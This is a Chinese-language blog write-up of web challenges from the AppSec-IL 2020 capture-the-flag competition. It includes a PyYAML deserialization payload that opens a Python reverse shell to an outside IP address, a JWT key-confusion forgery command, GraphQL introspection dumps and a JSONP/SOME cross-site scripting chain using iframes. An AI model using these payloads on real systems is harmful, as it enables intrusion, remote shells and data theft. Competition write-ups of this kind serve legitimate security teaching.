appsec_il ctf2020

2020-11-06 20:11:00
ctf - appsec_il

最后的xss some攻击学到了(虽然比赛遇到也许还是不会

Resume.yml

Writing your resume on word is for rookies. Real programmers use yaml.

~~I hope I don't have any bugs~~

URL: https://resume-yml.appsecil.ctf.today/

By Meitar Reihan

看下返回头是

server: gunicorn/20.0.4

结合题目的yaml寻找到pyyaml反序列化漏洞。

profile:
    name: !!python/object/new:subprocess.check_output [["ls"]]

如图取得flag在当前目录下,但cat命令执行不了,反弹shell。

profile:
    name: !!python/object/apply:os.system ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"101.132.132.179\",20001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' "]

Mr.Voorhees

In reality, there's no such thing as bad luck. Friday is just a day like any other day. Also, there's no such thing as bad algorithm. The one I used should be secure enough. Right?

robots.txt

User-Agent: Googlebot
Disallow: /backup/

访问得到公钥。

-----BEGIN PUBLIC KEY-----
MFswDQYJKoZIhvcNAQEBBQADSgAwRwJAZuHwpPeTJuO8wMVhKhWptHb42BwYH533
+OB1J4C+Kv0h6fzLlaHT9ni01l5viJ9Amn3Tpexl3GXqduDdzFU85wIDAQAB
-----END PUBLIC KEY-----

暂且放一边,我们访问页面时会发现有一个token,如下:

token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjAzOTMwMjM0fQ.uDtYn513131THGjxp6DEXmvfkIK8PI6I24DU9sbefX4

会发现是一个jwt的token,解码发现如下:

{
 typ: "JWT",
 alg: "RS256"
}.
{
 username: "Chris",
 iat: 1603896295
}.

拿到这一串token后拿起jwt_tool进行证书的伪造:

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IlRhbWFyYSIsImlhdCI6MTYwMzkzMDIzNH0.P1Jsqj8fgOVt3lNpyw_vhdTThW0HenxNwU4kNcWZcfKROq5TMfosxNbhQYloIw21gyneXLss5xmbEVB4XMqYsA -T -S hs256 -k ../public.pem

取得:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjAzOTMwMjM0fQ.uDtYn513131THGjxp6DEXmvfkIK8PI6I24DU9sbefX4

Log Me Policy

Hi there, our SOC team recived message that a hacker was quickly able to compromise our customer's senstive data by abuse our super-secure login page.

Could you spot the vulnerability and let us know the flag?

源码中存在文件下载:

读不到flag报错取得web目录为app,读app.js,flag在里面:

 * @TBD: our engineering team told us to check out this method, let's test it next sprint
 * AppSec-IL{d0_n0T_t4UST_uS34_iNp7t}

Customer Service

Last year we decided to improve our customer service to our security researchers team by created an AI-based vulnerability scanner. Now it released for free to the community!

We Hope you will like that!

发现页脚上面有一个tg机器人,连过去后试试会发现:

Well Played! Please provide me a full url to the *verify.txt* under you root website folder. For example: http://example.com/verify.txt So I can start scan your website:

把含有verify.txt的链接发给他,我们可以在服务器收到包:

取得机器人的api。

能够得到document的链接:

https://api-customerservice.appsecil.ctf.today/v1/internal/bot/docs/

从docs中能够找到一个废弃了的api,/internal/bot/api/assets/exec,利用它能够达成执行任意命令。

https://api-customerservice.appsecil.ctf.today/v1/internal/bot/api/assets/exec

Getflag:

Graphene

Graphene is an easy to use CRM to manage leads. Some leads are VIP. Those are the most special ones.

登陆口抓包会发现一个debug=0:

POST /api HTTP/1.1
Host: graphene.appsecil.ctf.today
Connection: close
Content-Length: 95
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: https://graphene.appsecil.ctf.today
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://graphene.appsecil.ctf.today/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __cfduid=d5ac138538d0a4a7dd59f6bd6795fef511603638338; debug=0

{"query":"mutation login {login(username:\"admin\", password: \"admin\") {user {username}ok}}"}

改为1后能够发现会产生报错,根据题目信息能够得知是使用了graphql

{"query":"{__schema{types{name}}}"}

取得:

{"__schema": {"types": [{"name": "Query"}, {"name": "User"}, {"name": "String"}, {"name": "Lead"}, {"name": "ID"}, {"name": "Boolean"}, {"name": "Int"}, {"name": "Mutations"}, {"name": "Login"}, {"name": "__Schema"}, {"name": "__Type"}, {"name": "__TypeKind"}, {"name": "__Field"}, {"name": "__InputValue"}, {"name": "__EnumValue"}, {"name": "__Directive"}, {"name": "__DirectiveLocation"}]}}

获取数据库的所有信息:

fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef }}fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue}fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }}query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue } } }}

取flag

{"query":"{leads(limit:100000){id,firstName,lastName,email,gender,ipAddress,isVip}}"}

本题类似于:https://www.cnblogs.com/20175211lyz/p/12605583.html

SomeVideos

A friend of mine called me and said that he wants to share some videos with his family, I told him that I'm working on such platform right now and that he should call me back later.

简单登陆后会发现我们可以存在着提交视频的功能:

在观看视频界面能够看到其js实现的代码:

function loadVideo({ success, data }) {
  if (!success) {
    alert(`Error - ${data}`);
    return;
  }

  // Hippity hoppity changing some proprieties ʕ•ᴥ•ʔ
  document.querySelector('#video-title').innerText = data.title;
  document.querySelector('#video-desc').innerHTML = data.description;
  document.querySelector('#video-view').src = data.source;
}

const videoId = new URL(location).searchParams.get('id');

if (videoId) {
  // Basic jsonp implementation
  const script = document.createElement('script');
  script.src = `/videos/embed?id=${videoId}&callback=loadVideo`;
  // Delete script from the DOM when failed / successed
  ['load', 'error'].forEach(e => {
    script.addEventListener(e, () => script.remove());
  });
  // We are ready to go, load it !
  document.body.appendChild(script);
}

// TODO: Add a way to call this function 
// NOTE: Let the admin decide if this video is suitable for public listing
// function requestListing() {
//  fetch(`/videos/listing-request`, {
//      method: 'POST',
//      headers: {
//          'Content-Type': 'application/x-www-form-urlencoded'
//      },
//      body: new URLSearchParams({
//          csrf: 'OtU5OuTYwHs/w9M5jDrIGuqZEe0UJyWaxD/NkpVrIwc=',
//          url: window.location
//      })
//  });
// }

if (location.hash == '#debug') {
  console.log('Current anti CSRF token is OtU5OuTYwHs/w9M5jDrIGuqZEe0UJyWaxD/NkpVrIwc=');
  // Easy way to display objects within a string
  Object.prototype.toString = function () {
    return JSON.stringify(this);
  };
}

存在着一个回调接口:

/videos/embed?id=${videoId}&callback=loadVideo

注释处的todo提示了其接口的使用方式,并且有一点关键是:

Let the admin decide if this video is suitable for public listing

能够看到调用了该接口以及其回显:

loadVideo({"success":true,"data":{"title":"Big Buk Bunny","description":"A large and lovable rabbit deals with three tiny bullies, led by a flying squirrel, who are determined to squelch his happiness.","source":"https://test-videos.co.uk/vids/bigbuckbunny/mp4/h264/1080/Big_Buck_Bunny_1080_10s_20MB.mp4"}});

我们将loadVideo改为alert时会发现jsnop数据为:

alert({"s...

回看到id被调用处:

if (videoId) {
// Basic jsonp implementation
const script = document.createElement('script');
script.src = `/videos/embed?id=${videoId}&callback=loadVideo`;
// Delete script from the DOM when failed / successed
['load', 'error'].forEach(e => {
script.addEventListener(e, () => script.remove());
});
// We are ready to go, load it !
document.body.appendChild(script);
}

可以看到这里把script加入到页面中,如果能让callback可控我们就能够达成xss,但这里callback被限定为loadVideo了,继续寻找。

可以看到一处url解码:

const videoId = new URL(location).searchParams.get('id');

可以利用此处的id来进行二次url绕过。

也就是说倘若我们传入:

?id=a5ba7665-61a7-4461-9884-7567c07cbacd%26callback=alert%23

会把我们传入一整串都当做id,然后会先解码,然后拼接为:

/videos/embed?id=a5ba7665-61a7-4461-9884-7567c07cbacd&callback=alert#&callback=loadVideo

此时我们的调用的函数就变为alert了。

可以测试一下会发现成功在视频页面达成了一个xss,此时就是一个some。

接下来需要考虑一下xss怎么进行利用,然而这里的xss只能调用函数,并且其他json内容虽然可控但我们没办法构造出来一个可用的payload。

再测试一下我们的提交视频处看看能产生什么样的json串,提交如下:

得到:

loadVideo({"success":true,"data":{"title":"<h1>asd</h1>","description":"&#x3c;h1&#x3e;asd&#x3c;/h1&#x3e;","source":"http://a.com"}});

我们之前通过alert弹窗出来的只是object,因为我们打印的事实上就是一个字典对象,继续回看之前的代码段,有一个debug令人印象深刻:

if (location.hash == '#debug') {
  console.log('Current anti CSRF token is OtU5OuTYwHs/w9M5jDrIGuqZEe0UJyWaxD/NkpVrIwc=');
  // Easy way to display objects within a string
  Object.prototype.toString = function () {
    return JSON.stringify(this);
  };
}

这里会对我们的Object的prototype的tostring修改为其自身的json,也就是说经过这一个debug后我们的字典会转换为jsonp会显示出来,虽然有一个setTimeout可以被tostring来执行任意代码(还没研究,mark着以后再看),但在这里因为是json格式的东西没办法被用来执行,所以暂时用不上。

我们调用先前的alert加上debug弹窗会发现alert的内容为我们传入的json串(发现了什么盲点),到这里串一下前面的内容:

  • 我们访问/videos/embed?id=${videoId}&callback=loadVideo会得到一个jsonp
  • 通过new URL(location).searchParams.get('id');进行二次url绕过拼接出来一个callback可控
  • 自动调用接口并且生成script标签执行我们jsonp里面的代码。
  • 标题跟内容可控,但标题有长度限制,内容会被转义

到了这里需要cute一下document.write,它在调用时会自动调用对象的toString,那么如果我们的callback改为这个方法,然后往json串里插入xss那么是否可以被成功调用?

然鹅会发现报了这个错误:

这是因为异步加载的js是不允许使用document.write方法的。

但主页的话就没有这个问题,我们可以本地写两个iframe然后将主页命名通过调用parent的document.write来写主页。

<iframe src="https://somevideos.appsecil.ctf.today/videos/view?id=ed43e88f-c0c3-4a42-9c08-ad49d87efbd9%26callback=parent.attack.document.write%23#debug">
    </iframe>
<iframe name="attack" src="https://somevideos.appsecil.ctf.today/">
</iframe>

可以看一下效果会发现前面的标题输入的h1标签被成功解析了(离成功又近了一步):

前面提到了内容会被转义,看看前面会发现在description处大概只能使用数字字母还有/,那我们如果payload长度过长的话就没办法了,因为description会把/转义掉导致我们无法闭合,这里又有大哥搞出来一个方法,就是两次调用document.write,也就是开多一个iframe,在另一个的标题处嵌入闭合标签/>,达成利用。

这里用img标签进行测试,会发现img标签确实生效了,但是却没有弹窗:

需要把后面的垃圾数据给注释掉,因此提交如下:

成功弹窗:

到这里为止就可以执行任意代码了,但flag位置不明??

回到被注释的代码:

// TODO: Add a way to call this function 
// NOTE: Let the admin decide if this video is suitable for public listing
// function requestListing() {
//  fetch(`/videos/listing-request`, {
//      method: 'POST',
//      headers: {
//          'Content-Type': 'application/x-www-form-urlencoded'
//      },
//      body: new URLSearchParams({
//          csrf: 'OtU5OuTYwHs/w9M5jDrIGuqZEe0UJyWaxD/NkpVrIwc=',
//          url: window.location
//      })
//  });
// }

也就是说我们通过这里让管理员访问我们的视频列表,抓取管理员的页面即可,后面没空看了就看看wp吧:

https://jctf.team/AppSec-IL-2020/SomeVideos/



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号